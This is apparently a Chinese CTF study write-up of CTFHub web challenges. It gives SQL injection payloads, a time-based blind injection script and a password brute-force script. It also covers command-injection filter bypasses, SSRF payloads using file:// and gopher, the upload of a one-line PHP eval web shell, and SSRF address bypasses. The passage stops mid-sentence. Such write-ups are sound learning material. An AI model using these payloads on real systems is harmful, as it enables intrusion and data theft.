web前置
HTTP协议
请求方式
背景知识
HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
方法
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
3、GET
向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
4、POST
向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求,主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
题目
用burp修改请求方式为CTFHUB
获得flag
302跳转
使用burp获得flag
ctfhub{688948eb9f3d9955c48d04fb}
Cookie
admin修改为1
ctfhub{a4c03521d62d2447621e48ea}
基础认证
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。
burp暴破
对用户名和密码进行了base64加密
规则里选择增加前缀和base64加密
flag在状态为200的里面
响应包源代码
查看源码获得flag
信息泄露
目录遍历
打开burp-spider this host
PHPINFO
备份文件下载
网站源码
www.zip 里面没有找到flag但是告诉我们有个flag_22975839.txt
文件,访问获得flag
http://challenge-0f51685a3afc80f1.sandbox.ctfhub.com:10800/flag_22975839.txt
bak文件
扫描得到:
http://challenge-bd93da6e6234eb5c.sandbox.ctfhub.com:10800/index.php.bak
vim缓存
扫描得到
http://challenge-017184f19278ca14.sandbox.ctfhub.com:10800/.index.php.swp
.DS_Store
.ds_store里有
$ f 0 2 e c d 3 f 3 1 8 a 9 4 1 4 3 a 9 1 5 a 7 2 5 9 0 1 2 d 1 b . t x tnoteustr
f l a g h e r e !
访问/f02ecd3f318a94143a915a7259012d1b.txt 获得flag
Git泄露(未完成)
Log
用Git_Extract-master下载获得flag
Stash
git clone https://github.com/BugScanTeam/GitHack
然后进入文件夹
需要使用python2运行
python2 GitHack.py http://xxx/.git
git stash会把所有未提交的修改(包括暂存的和非暂存的)都保存起来,用于后续恢复当前工作目录。
可以使用git stash list命令查看现有stash,可以通过git stash pop命令恢复之前缓存的工作目录。
新生成的txt里有flag或者
git stash show -p可以查看特定stash的全部diff
Index
使用githack下载后
git show 看到flag
看网上别人的wp是这么做的
git log 显示提交日志信息,输入git diff +(commit后面的内容)
SVN泄露
下载工具
git clone https://github.com/kost/dvcs-ripper
进行简单配置相关要求的组件
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
2)恢复.svn
进入工具目录/dvcs-ripper,执行下面命令开始恢复
./rip-svn.pl http://challenge-78f4515413350eaa.sandbox.ctfhub.com:10800
3)进入.svn目录,查找flag
密码口令
弱口令
用户名为admin对密码进行暴破
python
附上我写的脚本,实用性不强,不如burp快
import requests
dic=r'1.txt'
url='http://challenge-e0c68f5c5362298c.sandbox.ctfhub.com:10800/'
f=open(dic,'r')
l=f.readlines()
for i in l:
data={
'name':'admin',
'password':i[:-1],
'referer':''
}
r=requests.post(url,data=data)
if 'ctfhub{' in r.text:
print(r.text)
break
f.close()
这里i不包括最后一个字符
默认口令
账号:eyougw 密码:admin@(eyou)
SQL注入
整数型注入
我一般判断是否为整形,喜欢用2-1 看回显
最后payload:
?id=-1 union select 1,(select group_concat(flag) from flag)
字符型注入
?id=-1’ union select 1,(select group_concat(flag) from flag)%23
报错注入
1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e))
?id=1 and extractvalue(1,concat(0x7e,(mid((select group_concat(flag) from flag),15,25)),0x7e))
布尔盲注
布尔盲注的脚本平时写得多,这里懒得写了
直接用sqlmap
……结果发现sqlmap 花了15分钟!!!
时间盲注
还是脚本快,用脚本做完题,sqlmap才出来ct两个字母
sqlmap语句参考上一题
附上脚本:
import requests
import time
url = "http://challenge-97919233c33370a8.sandbox.ctfhub.com:10800/"
flag = ''
for i in range(1,100):
low = 32
high = 127
while low < high:
mid = (low+high)//2
data = "?id=1 and if(ascii(substr((select group_concat(flag) from flag),%d,1))>%d,sleep(0.2),1)" % (i, mid)
start_time=time.time()
r = requests.get(url=url+data)
if time.time() - start_time >0.2:
low = mid + 1
else:
high = mid
if high<33:
break
flag += chr(low)
print(flag)
MySQL结构
见上面题目 略
Cookie注入
手工注入(最基础的联合注入):
Cookie: id=-1 union select 1,(select group_concat(xrnwtpftud) from aaajrkbzts);
sqlmap:
保存为post.txt
这种普通注入还是sqlmap快,再能使用sqlmap的时候尽量使用
UA注入
ua头注入
python sqlmap.py -u http://challenge-7fd72534e86a2341.sandbox.ctfhub.com:10800 --level3 --dbs
Refer注入
sqlmap太慢了 还是手工注入
感觉今天是被sqlmap折腾疯了的一天
referer:id=-1 union select 1,(select group_concat(gzmjkqhiui) from hbjrciejlp)
过滤空格
?id=-1/**/union/**/select/**/1,(select/**/group_concat(wrsnvyazfc)/**/from/**/wwscprtpih)
RCE
eval执行
?cmd=system(‘nl /flag_3122’);
过滤目录分隔符
;cd flag_is_here;nl flag_318352766115537.php
过滤运算符
;nl fl*
综合过滤练习
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
我的做法
1.使用grep -r递归查找内容
?ip=%0agrep%09-r%09ub{%09fla?_is_here
2.使用cd绕过“/”
?ip=%0acd%09fl*%0anl%09fla*
看看网上别人的做法
?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65%22)#
?ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65x2Fx66x6Cx61x67x5Fx32x31x37x38x38x33x31x31x36x38x38x36x30x31x2Ex70x68x70%22)#
这里我测试不成功
SSRF
1分支
内网访问
/?url=http://127.0.0.1/flag.php
伪协议读取文件
背景知识
file:// 协议
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
http/s协议
探测内网主机存活
dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
题目payload:
/?url=file:///var/www/html/flag.php
端口扫描
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
使用burp
python:
附上我写的脚本,因为是单线程20多秒的比用burp久
import requests
for i in range(8000,9000):
url="http://challenge-b884a78d20ef5e16.sandbox.ctfhub.com:10800/?url=127.0.0.1:%d" % i
res = requests.get(url)
if "{" in res.text:
print(res.text)
break
2分支
POST请求
题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
用file协议获得index.php源码
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
通过http协议获得
<!-- Debug: key=9a687c45eceac60d1ebbee53afa603f3-->
传入一个gopher协议的数据包,应构造的gopher数据包:
POST /flag.php HTTP/1.1
Host: challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=9a687c45eceac60d1ebbee53afa603f3
gopher协议传参步骤:
1.构造好gopher协议传入的数据包
2.进行一次url编码,把编码后的结果中,%0A替换成%0d%0A,结尾加上%0d%0A
3.再进行一次URL编码
4.?url=gopher://xxxxxxxxxxxx 传入即可
处理后的payload:
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D9a687c45eceac60d1ebbee53afa603f3%250D%250A
代码见https://editor.csdn.net/md/?articleId=125596613
上传文件
这次需要上传一个文件到flag.php了.祝你好运
读一下flag.php的代码,这里只需要上传一个文件就可以获得flag
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
?url=127.0.0.1/flag.php 来到这个页面
增加一个按钮
<input type="submit" name="submit">
上传一个文件burp拦截
POST /flag.php HTTP/1.1
Host: challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------109084428027991433181660077227
Content-Length: 350
Origin: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php eval($_POST[h]);?>
-----------------------------109084428027991433181660077227
Content-Disposition: form-data; name="submit"
æ交查询
-----------------------------109084428027991433181660077227--
对他进行处理后
得到payload:
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0%2529%2520Gecko/20100101%2520Firefox/102.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------109084428027991433181660077227%250D%250AContent-Length%253A%2520350%250D%250AOrigin%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bh%255D%2529%253B%253F%253E%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------109084428027991433181660077227--%250D%250A
获得flag
bypass
URL Bypass
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
试了下不允许有127/172
通过尝试以下可以
?url=0/flag.php
?url=http://2130706433/flag.php(16进制 8进制也可以)
?url=http%3a%2f%2flocalhost%2f/flag.php
302跳转 Bypass
同上一题payload
.用我的理解来说就是,用户访问一个特定的域名,然后这个域名原来是一个正常的ip。但是当域名持有者修改域名对应的ip后,用户再访问这个域名的时候,浏览器以为你一直访问的是一个域名,就会认为很安全。这个是DNS重绑定攻击
这个是我的理解
这里可以让用户访问一个域名,然后这个域名在访问127.0.0.1
这里我使用的是文中所写的那个网站
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg
DNS重绑定并没有违反同源策略,相当于是钻了同源策略,同域名同端口访问的空子了。
这里的操作十分的简单
首先先打开那个网站,然后设置为